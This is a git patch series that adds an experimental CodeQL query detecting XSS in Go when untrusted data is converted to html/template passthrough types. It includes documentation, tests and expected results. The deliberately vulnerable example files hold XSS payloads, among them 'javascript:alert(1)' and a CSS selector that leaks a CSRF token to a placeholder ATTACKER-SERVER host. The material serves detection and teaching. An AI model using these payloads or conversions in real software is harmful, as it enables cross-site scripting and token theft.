From 49894341a86e2d86390bbc87439ef84ee5e1a084 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Wed, 3 Mar 2021 22:37:43 +0100 Subject: [PATCH 01/20] Add CWE-79: HTML template escaping passthrough --- .../HTMLTemplateEscapingPassthrough.qhelp | 28 +++++ .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 108 ++++++++++++++++++ .../HTMLTemplateEscapingPassthroughBad.go | 70 ++++++++++++ .../HTMLTemplateEscapingPassthroughGood.go | 15 +++ .../HTMLTemplateEscapingPassthrough.expected | 87 ++++++++++++++ .../CWE-79/HTMLTemplateEscapingPassthrough.go | 78 +++++++++++++ .../HTMLTemplateEscapingPassthrough.qlref | 1 + 7 files changed, 387 insertions(+) create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go create mode 100644 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected create mode 100755 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go create mode 100755 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp new file mode 100755 index 00000000000..57c04ca9121 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp @@ -0,0 +1,28 @@ + + + +

+ In Go, the html/template package has a few special types + (HTML, HTMLAttr, JS, JSStr, CSS, + Srcset, URL) + that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go + through. +

+

Using them on user-provided values will result in an XSS.

+
+ +

+ Make sure to never use those types on untrusted content. +

+
+ +

+ In the first example you can see the special types and how they are used in a template: +

+ +

+ To avoid XSS, all user input should be a normal string type. +

+ +
+
\ No newline at end of file diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql new file mode 100755 index 00000000000..e81d3a95857 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -0,0 +1,108 @@ +/** + * @name HTML template escaping passthrough + * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML + * template, it may result in XSS. + * @kind path-problem + * @problem.severity warning + * @id go/html-template-escaping-passthrough + * @tags security + * external/cwe/cwe-79 + */ + +import go +import DataFlow::PathGraph + +private class DummySource extends UntrustedFlowSource::Range { + DummySource() { + exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") | + call = fn.getACall() and + this = call.getResult() + ) + } +} + +/** + * Holds if the provided src node flows into a conversion to a PassthroughType. + */ +predicate isConvertedToPassthroughType( + DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink +) { + exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source | + cfg.hasFlowPath(source, conversionSink) and + source.getNode() = src and + targetType = cfg.getDstTypeName() + ) +} + +/** + * Gets the names of the types that will not be escaped when passed to + * a `html/template` template. + */ +string getAPassthroughTypeName() { + result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] +} + +/** + * A taint-tracking configuration for reasoning about when an UntrustedFlowSource + * is converted into a special type which will not be escaped by the template generator; + * this allows the injection of arbitrary content (html, css, js) into the generated + * output of the templates. + */ +class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { + string dstTypeName; + + ConversionFlowToPassthroughTypeConf() { + dstTypeName = getAPassthroughTypeName() and + this = "UnsafeConversion" + dstTypeName + } + + string getDstTypeName() { result = dstTypeName } + + override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } + + predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) { + exists(Type typ | + typ = sink.getResultType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) and + name = getAPassthroughTypeName() + ) + } + + override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) } +} + +/** + * Holds if the the sink is a data value argument of a template execution call. + */ +predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { + exists(Method fn, string methodName | + fn.hasQualifiedName("html/template", "Template", methodName) and + call = fn.getACall() + | + methodName = "Execute" and sink = call.getArgument(1) + or + methodName = "ExecuteTemplate" and sink = call.getArgument(2) + ) +} + +/** + * A taint-tracking configuration for reasoning about when an UntrustedFlowSource + * flows into a template executor call. + */ +class TemplateExecutionFlowConf extends TaintTracking::Configuration { + TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" } + + override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } + + override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } +} + +from + TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink, + string targetTypeName, DataFlow::PathNode conversionSink +where + cfg.hasFlowPath(source, sink) and + isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink) +select sink.getNode(), source, sink, + "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, + source.getNode(), "untrusted source", conversionSink.getNode(), "converted" diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go new file mode 100755 index 00000000000..a23dfa153de --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go @@ -0,0 +1,70 @@ +package main + +import ( + "html/template" + "os" +) + +func main() {} +func source(s string) string { + return s +} + +type HTMLAlias = template.HTML + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +// bad is an example of a bad implementation +func bad() { + tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) + tmplTag, _ := template.New("test").Parse(`Hi \n`) + tmplScript, _ := template.New("test").Parse(``) + tmplSrcset, _ := template.New("test").Parse(``) + + { + { + var a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + { + var a template.HTML + a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + var a HTMLAlias + a = HTMLAlias(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + } + } + { + var c = template.HTMLAttr(source(`href="https://example.com"`)) + checkError(tmplTag.Execute(os.Stdout, c)) + } + { + var d = template.JS(source("alert({hello: 'world'})")) + checkError(tmplScript.Execute(os.Stdout, d)) + } + { + var e = template.JSStr(source("setTimeout('alert()')")) + checkError(tmplScript.Execute(os.Stdout, e)) + } + { + var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) + checkError(tmpl.Execute(os.Stdout, b)) + } + { + var f = template.Srcset(source(`evil.jpg 320w`)) + checkError(tmplSrcset.Execute(os.Stdout, f)) + } + { + var g = template.URL(source("javascript:alert(1)")) + checkError(tmpl.Execute(os.Stdout, g)) + } +} diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go new file mode 100755 index 00000000000..5af85e824aa --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go @@ -0,0 +1,15 @@ +package main + +import ( + "html/template" + "os" +) + +// good is an example of a good implementation +func good() { + tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) + { // This will be escaped: + var caught = source(`link`) + checkError(tmpl.Execute(os.Stdout, caught)) + } +} diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected new file mode 100644 index 00000000000..c5be772eb49 --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -0,0 +1,87 @@ +edges +| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | +nodes +| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string | +| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught | +#select +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted | diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go new file mode 100755 index 00000000000..3ae62c166ea --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -0,0 +1,78 @@ +package main + +import ( + "html/template" + "os" +) + +func main() {} +func source(s string) string { + return s +} +func checkError(err error) { + if err != nil { + panic(err) + } +} + +type HTMLAlias = template.HTML + +// bad is an example of a bad implementation +func bad() { + tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) + tmplTag, _ := template.New("test").Parse(`Hi \n`) + tmplScript, _ := template.New("test").Parse(``) + tmplSrcset, _ := template.New("test").Parse(``) + + { + { + var a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + { + var a template.HTML + a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + var a HTMLAlias + a = HTMLAlias(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + } + } + { + var c = template.HTMLAttr(source(`href="https://example.com"`)) + checkError(tmplTag.Execute(os.Stdout, c)) + } + { + var d = template.JS(source("alert({hello: 'world'})")) + checkError(tmplScript.Execute(os.Stdout, d)) + } + { + var e = template.JSStr(source("setTimeout('alert()')")) + checkError(tmplScript.Execute(os.Stdout, e)) + } + { + var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) + checkError(tmpl.Execute(os.Stdout, b)) + } + { + var f = template.Srcset(source(`evil.jpg 320w`)) + checkError(tmplSrcset.Execute(os.Stdout, f)) + } + { + var g = template.URL(source("javascript:alert(1)")) + checkError(tmpl.Execute(os.Stdout, g)) + } +} + +// good is an example of a good implementation +func good() { + tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) + { // This will be escaped: + var caught = source(`link`) + checkError(tmpl.Execute(os.Stdout, caught)) + } +} diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref new file mode 100755 index 00000000000..2c92896e3ee --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref @@ -0,0 +1 @@ +experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql From 63d51205c99e1710082fa90ec96e28088b0b5bd7 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Fri, 5 Mar 2021 00:43:25 +0100 Subject: [PATCH 02/20] Apply suggestions from code review Co-authored-by: Sauyon Lee --- .../experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp index 57c04ca9121..ec406bdc198 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp @@ -4,7 +4,7 @@

In Go, the html/template package has a few special types (HTML, HTMLAttr, JS, JSStr, CSS, - Srcset, URL) + Srcset, and URL) that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

@@ -25,4 +25,4 @@

- \ No newline at end of file + From ad91e4abcb1c8ad263c2c21db57416cecb3ca513 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Fri, 5 Mar 2021 00:55:16 +0100 Subject: [PATCH 03/20] Remove DummySource --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 9 - .../HTMLTemplateEscapingPassthrough.expected | 168 +++++++++--------- .../CWE-79/HTMLTemplateEscapingPassthrough.go | 29 ++- 3 files changed, 98 insertions(+), 108 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index e81d3a95857..a48ddaf1507 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -12,15 +12,6 @@ import go import DataFlow::PathGraph -private class DummySource extends UntrustedFlowSource::Range { - DummySource() { - exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") | - call = fn.getACall() and - this = call.getResult() - ) - } -} - /** * Holds if the provided src node flows into a conversion to a PassthroughType. */ diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected index c5be772eb49..5a0447e6fd4 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -1,87 +1,87 @@ edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | -| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | -| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | -| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | -| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | -| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | -| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | -| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | -| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | -| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | 